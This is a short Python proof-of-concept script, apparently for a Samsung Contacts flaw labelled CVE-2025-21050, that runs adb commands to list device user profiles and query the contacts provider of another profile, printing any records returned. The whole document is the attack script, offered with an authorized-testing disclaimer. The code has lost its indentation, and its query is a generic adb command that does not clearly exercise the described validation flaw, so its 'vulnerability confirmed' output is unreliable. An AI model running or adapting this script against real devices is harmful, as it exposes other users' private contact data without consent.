The following code is for security research and authorized testing only.
python
# CVE-2025-21050 PoC - Samsung Contacts Cross-User Profile Data Access
# This PoC demonstrates the concept of exploiting improper input validation
# in Samsung Contacts to access data across multiple user profiles.
# Note: This requires a local user account on the target Android device.
import subprocess
import json
def exploit_contacts_cross_user_access(target_user_id):
"""
Exploit improper input validation in Samsung Contacts app
to access contacts from another user profile.
Args:
target_user_id: The user ID of the target user profile (e.g., 10, 11)
"""
# Step 1: List available user profiles on the device
list_users_cmd = "adb shell pm list users"
result = subprocess.run(list_users_cmd, shell=True, capture_output=True, text=True)
print(f"[*] Available user profiles:\n{result.stdout}")
# Step 2: Attempt to query contacts from target user profile
# The vulnerability exists because the Contacts app doesn't properly
# validate the user context when processing certain queries
query_cmd = f"adb shell content query --uri content://com.android.contacts/contacts --user {target_user_id}"
result = subprocess.run(query_cmd, shell=True, capture_output=True, text=True)
if result.returncode == 0 and result.stdout:
print(f"[+] Successfully accessed contacts from user {target_user_id}:")
contacts = result.stdout.strip().split('\n')
for contact in contacts:
print(f" - {contact}")
return True
else:
print(f"[-] Failed to access contacts from user {target_user_id}")
return False
def main():
print("=" * 60)
print("CVE-2025-21050 - Samsung Contacts Cross-User Data Access")
print("Affects: Contacts prior to SMR Oct-2025 Release 1")
print("=" * 60)
# Attempt to access contacts from user profile 10 (secondary user)
if exploit_contacts_cross_user_access(10):
print("\n[!] Vulnerability confirmed - cross-user data access successful")
else:
print("\n[*] Device may be patched or exploitation failed")
if __name__ == "__main__":
main()